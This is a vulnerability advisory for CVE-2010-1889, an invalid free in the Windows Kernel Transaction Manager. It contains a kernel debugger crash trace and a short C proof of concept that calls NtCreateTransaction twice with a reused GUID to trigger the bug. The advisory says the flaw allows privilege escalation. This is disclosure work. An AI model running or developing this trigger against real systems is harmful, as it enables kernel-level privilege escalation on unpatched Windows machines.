Microsoft Windows KTM Invalid Free with reused transaction GUID ---------------------------------------------------------------------------- CVE-2010-1889 The Kernel Transaction Manager (ktm) was introduced in Windows Vista and has been included in subsequent versions of Windows. Microsoft describes the feature in this MSDN article: http://msdn.microsoft.com/en-us/library/bb986748%28v=VS.85%29.aspx. The API documentation for CreateTransaction() explains that the LPGUID parameter UOW is reserved and must be NULL. http://msdn.microsoft.com/en-us/library/aa366011%28VS.85%29.aspx However, looking at nt!TmInitializeTransaction you can see Microsoft uses this internally, and rely on a NULL LPGUID in NtCreateTransaction to differentiate new transactions. Nothing prevents an attacker from ignoring the fact that this parameter is reserved, allowing us to cause a pathological KTM state of operation. This vulnerability is obviously exploitable, and can be used to elevate privileges on vulnerable systems. Connected to Windows Server 2008/Windows Vista 6002 x86 compatible target at (Sat Aug 7 22:35:30.076 2010 (GMT+2)), ptr64 FALSE Kernel Debugger connection established. Symbol search path is: srv*c:\windows\symbols*http://msdl.microsoft.com/download/symbols Executable search path is: Windows Server 2008/Windows Vista Kernel Version 6002 MP (1 procs) Free x86 compatible Built by: 6002.18209.x86fre.vistasp2_gdr.100218-0019 Machine Name: Kernel base = 0x81838000 PsLoadedModuleList = 0x8194fc70 System Uptime: not available Access violation - code c0000005 (!!! second chance !!!) kd> kv ChildEBP RetAddr Args to Child 8e2c8c28 819ded4f 00300033 00000000 00000000 nt!ExFreePoolWithTag+0x43d 8e2c8c44 81a65f44 843874a8 8180c26c 84387490 nt!TmpDeleteTransaction+0x86 8e2c8c60 8187ce1c 843874a8 00000000 00000000 nt!ObpRemoveObjectRoutine+0x13d 8e2c8c88 819dea1e 819de9fb 1a06e8f4 0012ff3c nt!ObfDereferenceObject+0xa1 8e2c8d34 81882c7a 0012ff3c 001f003f 00000000 nt!NtCreateTransaction+0x2cb (FPO: [SEH]) 8e2c8d34 00000023 0012ff3c 001f003f 00000000 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ 8e2c8d34) -------------------- Affected Software ------------------------ Microsoft Windows. -------------------- Consequences ----------------------- This issue may be of interest to security professionals but end users are unlikely to be affected by this issue. An unprivileged user may be able to execute arbitrary kernel code. Example code to trigger this vulnerability is available below. // Fixes some sdk include spaghetti http://support.microsoft.com/kb/130869 #define INITGUID #include <windows.h> #include <ktmw32.h> #pragma comment(lib, "ktmw32") DEFINE_GUID(Uow, 'AAAA', 'BB', 'CC', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K'); int main(int argc, char **argv) { FARPROC NtCreateTransaction; HANDLE TransactionHandle; NtCreateTransaction = GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCreateTransaction"); TransactionHandle = INVALID_HANDLE_VALUE; NtCreateTransaction(&TransactionHandle, TRANSACTION_ALL_ACCESS, NULL, &Uow, 0, 0, 0, 0, NULL, NULL); NtCreateTransaction(&TransactionHandle, TRANSACTION_ALL_ACCESS, NULL, &Uow, 0, 0, 0, 0, NULL, NULL); return; } ------------------- Credit ----------------------- This bug was discovered by Tavis Ormandy. ------------------- Greetz ----------------------- $1$90AiGoxp$wyzZGQ6owkRG6OxPErj6M/ $1$7.qXQkxE$5Zc1zQndJpGdoe1RF4Br1. $1$IPYBMipO$/HhHCPgulV/E0pgSvU1710 $1$ULymMO9x$NVMLjZe8i25ajEfnsRowA. $1$8a/c6DLm$JDAFGdhEzIj2DR7RYC2gi. And all the other elite people I've worked with (sorry, too many to generate!). ------------------- Notes ----------------------- Approximate time to fix was 240 days. ------------------- References ----------------------- - http://msdn.microsoft.com/en-us/library/bb986748%28v=VS.85%29.aspx Kernel Transaction Manager - http://msdn.microsoft.com/en-us/library/aa366011%28VS.85%29.aspx - CreateTransaction()